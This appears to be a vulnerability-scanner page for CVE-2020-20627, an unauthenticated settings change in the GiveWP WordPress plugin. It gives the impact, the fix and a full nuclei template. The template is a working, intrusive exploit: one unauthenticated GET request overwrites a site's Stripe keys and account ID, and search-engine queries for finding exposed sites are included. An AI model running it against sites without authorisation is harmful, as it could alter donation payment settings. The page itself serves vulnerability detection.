GiveWP - Missing Authorization to Settings Update

mediumseverity

5.3CVSS score

1.9%likelihood of exploitation, next 30 days

80%of all CVEs are less likely

Readycheck to confirm it

GiveWP plugin through 2.5.9 for WordPress contains an unauthenticated settings change caused by insecure access in includes/gateways/stripe/includes/admin/admin-actions.php, letting attackers modify settings without authentication, exploit requires no authentication.

Impact

Attackers can modify plugin settings without authentication, potentially leading to unauthorized transactions or configuration changes.

Fix

Update to the latest version of GiveWP plugin that addresses this issue.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-post.php?page=give-settings&stripe_publishable_key={{stripe_publishable_key}}&stripe_publishable_key_test={{stripe_publish…
Positive when: status_code == 200 and len(body) == 0
Send: GET {{BaseURL}}
Positive when: contains "/wp-content/plugins/give/" and "\"base_country\":" and "\"stripe_card_update\":" and "\"stripe_account_id\":\"{{stripe_user_id}}\"" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2020-20627 -u <target>

The full check

id: CVE-2020-20627

info:
  name: GiveWP - Missing Authorization to Settings Update
  author: daffainfo
  severity: medium
  description: |
    GiveWP plugin through 2.5.9 for WordPress contains an unauthenticated settings change caused by insecure access in includes/gateways/stripe/includes/admin/admin-actions.php, letting attackers modify settings without authentication, exploit requires no authentication.
  impact: |
    Attackers can modify plugin settings without authentication, potentially leading to unauthorized transactions or configuration changes.
  remediation: |
    Update to the latest version of GiveWP plugin that addresses this issue.
  reference:
    - https://blog.nintechnet.com/multiple-vulnerabilities-fixed-in-wordpress-givewp-plugin/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-259-missing-authorization-to-settings-update
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20627
    - https://github.com/20142995/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-20627
    cwe-id: CWE-306
    epss-score: 0.01881
    epss-percentile: 0.79637
    cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: givewp
    product: givewp
    framework: wordpress
    publicwww-query: "wp-content/plugins/give"
    shodan-query: http.html:"/wp-content/plugins/give/"
    fofa-query: body="/wp-content/plugins/give/"
  tags: cve,cve2020,wp,wordpress,wp-plugin,givewp,unauth,intrusive,vkev,vuln

flow: http(1) && http(2)

variables:
  stripe_publishable_key: '{{randbase(8)}}'
  stripe_publishable_key_test: '{{randbase(8)}}'
  stripe_user_id: '{{randbase(8)}}'
  stripe_access_token: '{{randbase(8)}}'
  stripe_access_token_test: '{{randbase(8)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-post.php?page=give-settings&stripe_publishable_key={{stripe_publishable_key}}&stripe_publishable_key_test={{stripe_publishable_key_test}}&stripe_user_id={{stripe_user_id}}&stripe_access_token={{stripe_access_token}}&stripe_access_token_test={{stripe_access_token_test}}&connected=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(body) == 0'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/give/'
          - '"base_country":'
          - '"stripe_card_update":'
          - '"stripe_account_id":"{{stripe_user_id}}"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from